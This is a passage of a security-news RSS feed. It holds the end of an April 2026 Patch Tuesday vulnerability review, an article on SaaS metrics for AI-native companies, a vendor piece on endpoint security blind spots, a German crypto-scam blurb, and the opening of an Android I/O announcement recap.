  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5908">CVE-2026-5908 *</a></td>
  <td>Chromium: CVE-2026-5908 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5909">CVE-2026-5909 *</a></td>
  <td>Chromium: CVE-2026-5909 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5910">CVE-2026-5910 *</a></td>
  <td>Chromium: CVE-2026-5910 Integer overflow in Media</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5911">CVE-2026-5911 *</a></td>
  <td>Chromium: CVE-2026-5911 Policy bypass in ServiceWorkers</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5912">CVE-2026-5912 *</a></td>
  <td>Chromium: CVE-2026-5912 Integer overflow in WebRTC</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5913">CVE-2026-5913 *</a></td>
  <td>Chromium: CVE-2026-5913 Out of bounds read in Blink</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>Info</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5914">CVE-2026-5914 *</a></td>
  <td>Chromium: CVE-2026-5914 Type Confusion in CSS</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>RCE</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5915">CVE-2026-5915 *</a></td>
  <td>Chromium: CVE-2026-5915 Insufficient validation of untrusted input in WebML</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5918">CVE-2026-5918 *</a></td>
  <td>Chromium: CVE-2026-5918 Inappropriate implementation in Navigation</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-5919">CVE-2026-5919 *</a></td>
  <td>Chromium: CVE-2026-5919 Insufficient validation of untrusted input in WebSockets</td>
  <td>Low</td>
  <td>N/A</td>
  <td>No</td>
  <td>No</td>
  <td>SFB</td>
</tr>
<tr>
  <td><a target="_blank" href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33118">CVE-2026-33118</a></td>
  <td>Microsoft Edge (Chromium-based) Spoofing Vulnerability</td>
  <td>Low</td>
  <td>4.3</td>
  <td>No</td>
  <td>No</td>
  <td>Spoofing</td>
</tr>
</tbody></table>
  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are three Office-related bugs where the Preview Pane is once again listed as an exploit vector. I would still like to have a full-proof way of disabling the Preview Pane, but I don’t see that as an option. There’s a bug in the RDP client, but that involves connecting to a malicious RDP server. The bug in Active Directory requires authentication and a network adjacent attacker. The final Critical-rated bug is an interesting DoS in .NET Framework. An unauthenticated attacker could deny service over a network – presumably crippling any affected app made in .NET. You rarely see Critical-rated DoS bugs, but this one deserves the moniker.</p><p class="">Moving on to the other code execution bugs, you have quite a few open-and-own bugs in Office components, most notably Excel, where the Preview Pane is not an attack vector. The bug in SQL Server requires authentication, and as usual, additional steps are needed to ensure you have the correct update to remediate this vulnerability. The two bugs in Hyper-V almost reads like a privilege escalation since it allows unauthorized attackers to execute code locally. That’s the same for the bugs in the Windows Snipping Tool and the UPnP Device host. </p><p class="">More than half of this release addresses Elevation of Privilege (EoP) bugs. However, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. The bugs in SQL Server could allow an attacker to gain SQL sysadmin privileges. One of the kernel bugs simply states an attacker could “elevate privileges locally”. How obtuse. That’s similar for the bug in afd.sys and Desktop Windows Manager, but Microsoft also states that these bugs could crash an affected system. There are several bugs that result in a sandbox escape, including Windows Push Notifications, AFD for Winsock, Management Services, and User Interface Core. Of these, CVE-2026-26167 (Push Notifications) is the most notable — it's the only one with low attack complexity, meaning no race condition needed. The rest all require winning a race condition (AC:H). The bugs in UPnP are interesting as they allow attackers to gain access to a limited set of administrator-protected objects. Not a full escalation but definitely getting access to resources they shouldn’t. The vulnerability in the Brokering File System allows attackers to gain the level of the logged on user, so don’t do your normal activities as a user with admin privileges. The bug in Azure Monitor Agent leads to root-level access. </p><p class="">There are a dozen different security features bypass bugs in the April release. Some of these are obvious by the title alone. For example, the bugs in Windows Hello bypass safety features within the Hello app itself. The bug in the Biometric Service allows attackers to bypass biometric protections. The vulns in BitLocker and Secure Boot bypass protections in those components. The bug in Power Apps allows attackers to bypass a security warning dialog and trick targets into triggering an external protocol call that performs unintended actions on the user’s device. The bug in Windows Shell allows attackers to bypass Mark of the Web (MotW) protections. The bug in PowerShell could almost be described as a code execution bug as exploiting it bypasses dynamic-expression security checks, which could result in code execution. The vulnerability in the Windows Recovery Environment allows local attackers to bypass BitLocker device encryption. Finally, the bug in Virtualization‑Based Security (VBS) is the most interesting of the bunch – and not just because VBS is a (relatively) new feature. The problem allows attackers to manipulate allow a compromised Windows kernel to modify memory belonging to the secure kernel, breaking the intended isolation guarantees provided by VBS. Somewhat of a sandbox escape, but this time, you’re escaping from Virtual Trust Level 0 (VTL0) to Virtual Trust Level 1 (VTL1). Neat.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 20 different CVEs. Fortunately, most of these simply result in info leaks consisting of unspecified memory contents or memory addresses. While useful in crafting exploits, they aren’t exactly exciting on their own. There are also several bugs that disclose addresses from an object a contained in a sandboxed execution environment. This includes bugs in the Print Spooler, Package Catalog, and Web Account Manager. The bug in Dynamics 365 discloses the ever ineffable “sensitive information”. There are three different info disclosure bugs in UPnP. Two allow an attacker to read from the file system, while the third discloses anything available to the LOCAL SERVICE account. The final info disclosure bug resides in Copilot and Visual Studio and allows attackers to disclose the contents of the Model Context Protocol (MCP) when using Copilot. There are those who think MCP is dead (thanks to agentic AI agents), but if you’re using a custom MCP, I doubt you would want it leaked.</p><p class="">The April release contains just a handful of Spoofing bugs. Some, like the bugs in .NET, Active Directory, and Windows Shell, just say that they allow spoofing over a network. Others, like the bug in Windows Snipping Tool, say similar but also note that it could be used to relay NTLMv2 hashes. The patch for RDP <a href="https://go.microsoft.com/fwlink/?linkid=2347342">notes</a> that there are new warning dialogs coming this month. The bug in the Windows Admin Center would allow an attacker to interact with other tenant’s applications and content. Finally, the spoofing bug in SharePoint is another XSS issue.</p><p class="">There are eight DoS bugs in the April release, but as always, Microsoft provides no actionable information about the vulnerabilities. Microsoft does offer a mitigation for the http.sys bug that can be applied while you test and deploy the patch, but I would rely on the patch rather than the mitigation. Another exception is the bug for Connected User Experiences and Telemetry Service, which allows attackers to deny service locally rather than over the network.</p><p class="">The final(!) bug in the April release is a Tampering bug in WSUS that reads like a DoS. According to Microsoft, “An attacker can send specially crafted packets which could affect availability of the service and result in Denial of Service (DoS).” But sure – let’s call it Tampering. </p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I will be in Berlin for the next Patch Tuesday, which will be May 12, and I’ll provide my full thoughts then on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<title><![CDATA[The new value architecture of the AI-native SaaS era]]></title>
<description><![CDATA[The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.



In brief:




AI is transforming software as a service (SaaS), and the old ways of keeping score no longer apply.



Smart companies are evolving new metrics that provide deep...]]></description>
<link>https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694395/it-security-nachrichten/the-new-value-architecture-of-the-ai-native-saas-era/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The traditional methods of measuring success no longer tell the full story. Here’s what should replace them — and why.</p>



<p class="wp-block-paragraph">In brief:</p>



<ul class="wp-block-list">
<li><a href="https://www.cio.com/article/4146669/is-ai-the-end-of-saas-as-we-know-it.html">AI is transforming software as a service (SaaS)</a>, and the old ways of keeping score no longer apply.</li>



<li>Smart companies are evolving new metrics that provide deeper insight into how AI-native software is performing in a new marketplace.</li>



<li>These changes impact everything from pricing to valuations.</li>
</ul>



<p class="wp-block-paragraph">The transformation of the software-as-a-service (SaaS) industry toward AI-native operating companies is rapidly changing the unit of value across the industry.</p>



<p class="wp-block-paragraph">The traditional metric of seats — which measured access — is rapidly giving way to credits designed to measure work performed. This evolution is upending the industry in multiple ways, impacting everything from pricing to enterprise valuations.</p>



<p class="wp-block-paragraph">While many companies still cling to seat-based metrics to measure growth, efficiency and durability, the future is likely to be one in which companies utilize a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">credit-centric metrics framework</a>, with seats and outcomes as the bookends of a spectrum.</p>



<h2 class="wp-block-heading">Why do software companies need new metrics?</h2>



<p class="wp-block-paragraph">Why the rethink, and why now? There are five major forces that are driving this shift:</p>



<ol start="1" class="wp-block-list">
<li><a href="https://www.idc.com/resource-center/blog/is-saas-dead-rethinking-the-future-of-software-in-the-age-of-ai/"><strong>The unit of value is changing</strong></a><strong>.</strong> Seats measured who could access software, and credits measure what the software actually does. But in an AI-native world, agents don’t have seats; they have workloads. Over the past 18 months, every major SaaS platform has moved to some forms of credit or consumption unit.</li>



<li><strong>The cost of goods sold (COGS) is exploding.</strong> AI inference adds real per-unit costs that scale with usage. In an AI-native world, software companies can’t scale to infinite users at near‑zero marginal cost as before.</li>



<li><strong>Buying is moving up the org chart.</strong> AI-native applications shift purchasing to higher-level operators — such as line-of-business leaders or chief operating officers — which expands the market from software budgets to labor budgets. And because AI agents replace services as well as software, the total market opportunity is 3x to 10x larger than traditional SaaS.</li>



<li><strong>Time to value (TTV) is collapsing.</strong> With AI-native tools, customers start seeing meaningful results in weeks rather than quarters. Onboarding and setup are fast, workflows are pre-built, and there’s no need for extensive customer success or professional services — dramatically reducing implementation time and costs.</li>



<li><strong>Retention is bifurcating.</strong> AI forces clarity in a way that traditional SaaS couldn’t. Products that can provide value become even “stickier” and retain customers. Those that don’t churn faster. In an AI-native marketplace, the middle disappears.</li>
</ol>



<h2 class="wp-block-heading">How this shift is impacting pricing</h2>



<p class="wp-block-paragraph"><a href="https://www.ey.com/en_us/insights/strategy/grow-with-trusted-software-portfolio-management">Given how AI-native software is transforming the market</a>, the shift to more variable pricing options is inevitable.</p>



<p class="wp-block-paragraph">Seats won’t go away completely. Subscription pricing based on the number of users is stable and predictable and will continue to work for some customers. Tokens — the use of pass-through pricing for underlying compute — will fit those customers where the AI feature is commoditized or the buyer wants transparency into costs.</p>



<p class="wp-block-paragraph">Credits will likely become the dominant architecture because they provide a simple metric for both customers and providers. The vendor sets the conversation ratio between credits and underlying compute, shielding the customer from inference cost details. Credits are easy to understand and can be packaged into annual contracts for multiple features and products.</p>



<p class="wp-block-paragraph">Finally, the industry will likely see <a href="https://www.gartner.com/en/newsroom/press-releases/2026-07-01-gartner-says-us-dollars-234-billion-in-enterprise-application-software-spend-is-at-risk-from-agentic-artificial-intelligence">some move toward outcome-based pricing</a> for results such as resolved tickets, recovered revenue or qualified leads. This strategy will mostly be limited to verticals where it is easy to prove AI impacted the result.</p>



<p class="wp-block-paragraph">Where a software vendor sits on this spectrum is a signal of differentiation and pricing power. Credits are where most defensible AI-native businesses are landing because they balance customer predictability with vendor margin control.</p>



<h2 class="wp-block-heading">How AI upends classic SaaS metrics</h2>



<p class="wp-block-paragraph">When SaaS was in its infancy, companies settled on key metrics designed to answer a small set of core questions. Are we growing? Are customers using the product? Are we retaining and expanding accounts?</p>



<p class="wp-block-paragraph">But as AI upends software itself, it is also requiring companies to adopt new metrics to track success. These new metrics fall into three primary buckets, rebuilt around the pricing spectrum described earlier and the trend toward credits as the primary frame:</p>



<h3 class="wp-block-heading">Revenue composition</h3>



<ul class="wp-block-list">
<li>Committed credit annual recurring revenue (ARR) vs. burndown ARR: Measuring the credits sold on annual commitment vs. those consumed and replenished. This is the single most important split for valuation. Committed credits behave like subscription and burndown behaves like usage.</li>



<li>Credit utilization rate: The percentage of purchased credits consumed per period. This is a leading indicator of renewal sizing.</li>



<li>Credit burn velocity: How fast is a customer consuming their credits, and is that consumption increasing or decreasing quarter over quarter? This metric predicts expansion or contraction before it shows up in ARR.</li>



<li>Effective price per credit: The real revenue per credit after discounts, overage and rollover, which can detect revenue leakage and help companies set smarter guide rails.</li>
</ul>



<h3 class="wp-block-heading">Margin reality</h3>



<ul class="wp-block-list">
<li>Credit margin: The gross profit the company earns per credit after subtracting inference costs. This is the core economic unit for AI-native, usage-based businesses — the replacement for gross margin per seat used in SaaS.</li>



<li>Inference-adjusted gross margin: By carving out AI inference costs separately in the P&amp;L statement, you can see true AI margins, avoid hiding deterioration inside blended SaaS margins, and clearly distinguish AI economics from legacy SaaS economics.</li>



<li>Compute leverage ratio: This metric measures how efficiently the business converts compute spend into revenue. It shows whether your AI margins are improving as you scale.</li>



<li>AI-adjusted “Rule of 40”: This updated metric recalibrates the traditional growth and profitability benchmark to account for AI’s lower gross margins and variable inference costs, giving a more accurate picture of business health for AI-native companies.</li>
</ul>



<h3 class="wp-block-heading">Behavioral and value signals</h3>



<ul class="wp-block-list">
<li>Time-to-first outcome: Replaces traditional onboarding metrics. Tracks how fast a customer reaches their first measurable result.</li>



<li>Adoption: AI-native adoption is measured by workflow penetration and active agent density, not seat count. As AI replaces human-driven usage, the unit of adoption shifts from people to automated workflows and agents.</li>



<li>Net credit retention (NCR): Credit-volume retention across the customer base, tracked separately from net recurring revenue to avoid price-change impact.</li>
</ul>



<p class="wp-block-paragraph">Along with these new metrics, the industry’s transformation is prompting companies to retire or recalibrate old SaaS measures, including per-seat ARR as a primary key performance indicator (KPI), traditional magic number calibrated to subscription dynamics, unadjusted Rule of 40, customer success metrics tied to human touchpoints, and blended gross margin without AI COGS carve-outs.</p>



<h2 class="wp-block-heading">What does this mean for enterprise value calculations?</h2>



<p class="wp-block-paragraph">As the internal metrics of success change, so do the ways the investment community measures growth and long-term viability.</p>



<p class="wp-block-paragraph">Increasingly, a company’s valuation multiple depends on whether its revenue behaves like committed subscription ARR or volatile usage ARR, and the commit‑to‑burndown ratio is the metric investors use to decide where the company fits.</p>



<p class="wp-block-paragraph">For example, a business with 80% committed credit ARR could trade closer to subscription comps and one with 80% burndown could trade closer to usage comps even though both have the same types of customers. Being able to proactively explain the commit‑to‑burndown mix can help companies avoid undervaluation.</p>



<p class="wp-block-paragraph">In addition, utilization is expected to replace net promoter scores and seat usage as the primary predictor of churn or expansion. Low utilization guarantees downsizing at renewal, so companies must track utilization cohorts the same way SaaS tracks logo retention cohorts today.</p>



<p class="wp-block-paragraph">We’re also seeing an inversion of the operating model, with R&amp;D and COGS moving up the P&amp;L and sales and marketing (S&amp;M) and customer success (CS) moving down or sideways. The net operating leverage profile is structurally different from classical SaaS, and the cost-to-scale curve looks different too.</p>



<p class="wp-block-paragraph">Finally, credit margin engineering is a hidden value-creation lever. The gap between price per credit and cost per credit is set by the software vendor and can be optimized. Most operators have barely started managing this rigorously, and the ones who do will pull away on margin.</p>



<h2 class="wp-block-heading">What this means for leaders, boards and investors</h2>



<p class="wp-block-paragraph">The shift from classic SaaS metrics to new AI‑native measures isn’t cosmetic. It represents the seismic change the industry is experiencing as AI matures and transforms products and organizations.</p>



<p class="wp-block-paragraph">While these metrics — and perhaps others yet to be determined — may evolve over time, there is no doubt they are already changing how AI companies allocate capital, price products, incent sales teams, evaluate performance and communicate with investors.</p>



<p class="wp-block-paragraph">It’s important to remember that SaaS metrics were practical tools for a specific era of software. As that era draws to a close, winning companies will choose new metrics that shape behavior and drive smart decision-making.</p>



<p class="wp-block-paragraph"><em>The views reflected in this article are the views of the author and do not necessarily reflect the views of Ernst &amp; Young LLP or other members of the global EY organization.</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[5 endpoint blind spots your EDR/XDR was never built to see]]></title>
<description><![CDATA[In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.



That was enough. Over 86,000 downloads. Malicious code in PhantomRaven, packages running in the production systems of Fort...]]></description>
<link>https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694387/it-security-nachrichten/5-endpoint-blind-spots-your-edrxdr-was-never-built-to-see/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In August 2025, 126 malicious packages landed in the npm registry. Even after the community caught the initial wave, 80 of these hidden backdoors remained actively listed.</p>



<p class="wp-block-paragraph">That was enough. Over 86,000 downloads. Malicious code in <a href="https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies" target="_blank" rel="noreferrer noopener">PhantomRaven</a>, packages running in the production systems of Fortune 500 companies worldwide. And throughout the entire window, not a single EDR/XDR alert.</p>



<p class="wp-block-paragraph">This happened because the attack surface has expanded to a layer EDR/XDR was never designed to see: VS Code extensions, local MCP servers, and rogue AI coding assistants that inherit your engineers’ valid credentials to steal data at machine speed.</p>



<p class="wp-block-paragraph">To eliminate this structural vulnerability, Palo Alto Networks acquired Koi, an AI-native developer security product engineered for proactive, precision enforcement. Below we compiled a 2026 CISO checklist you can use to audit your environment and see how Koi automates each defense from day one.</p>



<p class="wp-block-paragraph"><strong>#1. Gain real-time visibility into shadow AI &amp; extensions</strong></p>



<p class="wp-block-paragraph">Your existing asset management tracks binaries and installers, but it cannot see local VS Code extensions, MCP servers, or ad-hoc Python scripts running on developer endpoints. This visibility gap was recently exposed by the <a href="https://www.koi.ai/blog/maliciouscorgi-the-cute-looking-ai-extensions-leaking-code-from-1-5-million-developers" target="_blank" rel="noreferrer noopener">MaliciousCorgi campaign</a>, where two marketplace extensions with 1.5 million combined installs silently harvested every file a developer opened. Neither triggered any detection because they were not binaries, not executables, not anything your inventory was built to flag. To counter this, Koi closes the gap by analyzing what extensions actually do after installation, exposing hidden data-harvesting channels running inside your active workspace.</p>



<p class="wp-block-paragraph"><strong>#2. Distinguish between human and autonomous agent behavior </strong></p>



<p class="wp-block-paragraph">When a rogue AI agent exfiltrates your proprietary source code, it uses a developer’s valid credentials during normal working hours, making the session look entirely legitimate to standard XDR baselines. Moving beyond static permission lists, Koi deploys behavioral profiling within the workspace runtime. By actively intercepting unauthenticated background tasks and blocking unauthorized file-system reads, it stops automated data exfiltration in real time.</p>



<p class="wp-block-paragraph"><strong>#3. Establish guardrails for automated package updates on endpoints</strong></p>



<p class="wp-block-paragraph">Developers prioritize speed, often allowing software packages to auto-update on their endpoints the moment a new version appears. Attackers weaponize this supply chain vulnerability, as seen in the May 2026 Team PCP attack where 3,800 GitHub repositories were compromised in just 36 minutes via poisoned auto-updates. Securing agentic endpoints against these rapid breaches requires behavior-based inspection within the active workspace context. Koi operates at this layer by providing safe deployment buffers that automate version cooldowns, blocking bleeding-edge updates until they are vetted. By continuously auditing process creation within the IDE runtime, Koi instantly drops unauthorized remote connections before malicious payloads can exfiltrate credentials from the endpoint.  </p>



<p class="wp-block-paragraph"><strong>#4. Enforce principle of least privilege for AI agents</strong></p>



<p class="wp-block-paragraph">AI coding assistants inherit the privileges of whoever deployed them. In practice, that means read access to production databases, write access to core repositories, and access to every secret in environment files and configuration directories. To restrict this excessive access, Koi applies dynamic sandboxing directly to AI agent processes at the kernel level. It enforces a strict zero-trust boundary that segregates sensitive workspace vectors, preventing agents from pulling data outside their approved scope without interrupting developer workflows.</p>



<p class="wp-block-paragraph"><strong>#5. Maintain continuous endpoint posture management</strong></p>



<p class="wp-block-paragraph">Signature-based scanning only stops known threats. Sophisticated repository attacks often arrive as functional, high-rated software that carries no known bad signature. Koi’s research into the <a href="https://www.koi.ai/blog/darkspectre-unmasking-the-threat-actor-behind-7-8-million-infected-browsers" target="_blank" rel="noreferrer noopener">DarkSpectre campaign</a> found eight browser extensions, all carrying “featured” badges from Google and Microsoft, installed by over 8 million users, silently harvesting every conversation from ChatGPT, Claude, and Gemini in the background. Koi addresses this by operating upstream: scanning marketplace listings every hour, using LLM-driven code analysis to compare what software promises against what its code does, sandboxing it, and scoring the risk before it ever reaches the endpoint.</p>



<p class="wp-block-paragraph"><strong>Summary</strong></p>



<p class="wp-block-paragraph">Securing the modern enterprise is no longer about patching individual gaps. As AI agents redefine the workforce, Agentic Endpoint Security (AES) is now a strategic imperative for every CISO. By establishing a mandatory control plane for the AI-native workspace, AES ensures that your organization can scale engineering velocity without ever compromising enterprise integrity. </p>



<p class="wp-block-paragraph">Ready to secure the future of your software stack? See how <a href="https://www.paloaltonetworks.com/cortex/agentic-endpoint-security" target="_blank" rel="noreferrer noopener">Koi Agentic Endpoint Security</a> delivers complete visibility, risk scoring, and real-time prevention across every endpoint in your enterprise.</p>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Krypto-Falle statt Gewinn: So zocken dubiose Wettanbieter ihre User ab]]></title>
<description><![CDATA[Sicherheitsforscher warnen vor dubiosen Krypto-Prognoseplattformen. Wer seine Wallet verbindet oder Geld einzahlt, riskiert hohe Verluste.]]></description>
<link>https://tsecurity.de/de/3694314/it-security-nachrichten/krypto-falle-statt-gewinn-so-zocken-dubiose-wettanbieter-ihre-user-ab/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694314/it-security-nachrichten/krypto-falle-statt-gewinn-so-zocken-dubiose-wettanbieter-ihre-user-ab/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sicherheitsforscher warnen vor dubiosen Krypto-Prognoseplattformen. Wer seine Wallet verbindet oder Geld einzahlt, riskiert hohe Verluste.]]></content:encoded>
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<title><![CDATA[17 Things to know for Android developers at Google I/O]]></title>
<description><![CDATA[Posted by Matthew McCullough, VP, Product Management, Android DeveloperToday at Google I/O, we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcemen...]]></description>
<link>https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693511/android-tipps/17-things-to-know-for-android-developers-at-google-io/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:45 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjP7OJeCTRC-RN9j39-rULmU26qB-lZoyIZjjDrq07Z7b5GsfHz3q18ftSgcWReGBgIBkp03B6BVghzWllOC38o4jckzzq-e4a8R23ISeegev98zubhGXbIzhTZaqbCTaPLJC2zkxKYvvNspcM4yXkk94f6PEQHpdyMvlpwogicTWQRn3GEksJHOTQDIG4/s2048/GoogleForDevelopers-AndroidText-StrapiMetacard-2048x1323.png">


<div><div class="separator"><div class="separator"><div class="separator"><i>Posted by Matthew McCullough, VP, Product Management, Android Developer</i></div></div></div></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s4209/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"><img border="0" data-original-height="1253" data-original-width="4209" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjVq21_VInGStxa8CNxcwiU_tpvlkPXci8aDeSb8qUqBe4teuWUN_vIqBf_W64xjTQMBYFyJkdXB-nshsp9DXXEwzUV8-Zn9feQTbuyLk8l98kAlFQqz3_LZrYaEvCukqXCZuY95tmNzrLFqXSviaTTSxflyAkpXJb88cB7mZ7g0x6fdnKzXqY8i1jmhqM/s16000/GoogleForDevelopers-AndroidText-Blogger-4209x1253.png"></a></div><div><br></div>Today at <a href="https://io.google/2026/">Google I/O,</a> we announced the many ways we’re powering agentic workflows to increase your productivity and ensure your apps shine across the expanding Android ecosystem. Here’s a recap of 17 of our favorite announcements for Android developers; you can also <a href="https://www.youtube.com/live/KvTRMSa1w4E?si=QBAxNvihPwJCJUuS">see what was announced last week</a> in <a href="https://developer.android.com/events/show">The Android Show: I/O Edition</a>. Stay tuned over the next two days as we dive into all of the topics in more detail!<h2><strong><span>Build High Quality Android Apps Using Agents</span></strong></h2>

  <h3><strong><span>1: Android CLI: helping you build with any agent, LLM, and tool</span></strong></h3>
  <a href="https://goo.gle/CLI_IO26">Android CLI is now stable</a>. It offers programmatic tools that allow any AI agent, including Claude Code, Codex, or Antigravity, to perform core Android tasks much more easily and efficiently. With today’s release, it also provides a bridge to tap directly into the "heavy-lifting" power of Android Studio to give you the production-ready polish needed for professional Android development. By leveraging the new android studio commands, developers can now grant their preferred agents the ability to perform semantic symbol resolution, analyze files for warnings, and even render Jetpack Compose previews. This release also enables official support for "Journeys" through new <a href="https://developer.android.com/tools/agents/android-skills">Android skills</a>, which enables agents to execute end-to-end UI tests under your direction. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.    <p><span></span></p><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXrW3yDK9uH_I8MDyVxgYbPAXfrNTJvlMkXhaZFrM1X9ob0LvQbGe_ZC6anUeO_VNd181iptI_MIuEEpX-9GZdf6ZTJCN-WHpPzDCLOeSblo8vrjliSZ0rRrHwIsERWBjbbosP-M_WvA2pva9mF5FWVygAwQbdiW3SLZgJj9TpRIruG4H-ILsvSq_b4dc/w640-h442/agy-android-cli%20(2).png"></div><div class="separator"><span><i>You can now easily install Android CLI for use with Google Antigravity 2.0.</i></span></div><p></p>

  <h3><strong><span>2: Build production-ready apps with ease in Google AI Studio</span></strong></h3>
  Developers and creators can now <a href="http://android-developers.googleblog.com/2026/05/build-android-apps-google-ai-studio.html">build native Android apps, simply with a prompt in Google AI Studio</a>. The apps are built with development best practices like Jetpack Compose, Kotlin, and APIs that leverage our recommended developer patterns. Google AI Studio enables developers to prototype, iterate via an embedded emulator, and deploy to physical devices without heavy local installations. Developers are then able to take those apps and share them to Android devices, as well as share them with others for testing through Google Play Console’s internal testing track. If a developer wants to prepare their app for a wider release, they’re able to take it to Android Studio for advanced debugging, testing, and UI polish. Watch the <a href="https://www.youtube.com/watch?v=aqmpZocmR8o&amp;list=PLOU2XLYxmsIKL_eEgkKJWDRhYUEvS9eYz&amp;index=23">developer keynote</a>, and tune into the <a href="https://io.google/2026/explore/pa-keynote-7">What’s New in Android tools talk</a> for more information.<br><br><div><div class="separator"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdRaw1v6rolr4alo0C6AWKdFchsMEQgtOGfmk2Ramb0IoOB7smDcVU3yC7YJMkvVQuCPJ9vQW53tQjaV-5wcgOGzMtFDmb_Jbv40an1kvQdqYburXnsONvLqckKL2MWuShi3XmQEstW761oOLjujOk3FMsh3FyAiy5-Pe7xdTwFdfkWOmEnHhQfUJhtCo/w640-h544/image1.gif"></div><i><div class="separator"><i>Use the embedded Android Emulator to create Android apps in Google AI Studio</i></div></i></div><h2><strong><span>3: Accelerating AI coding assistance with Android Bench</span></strong></h2>
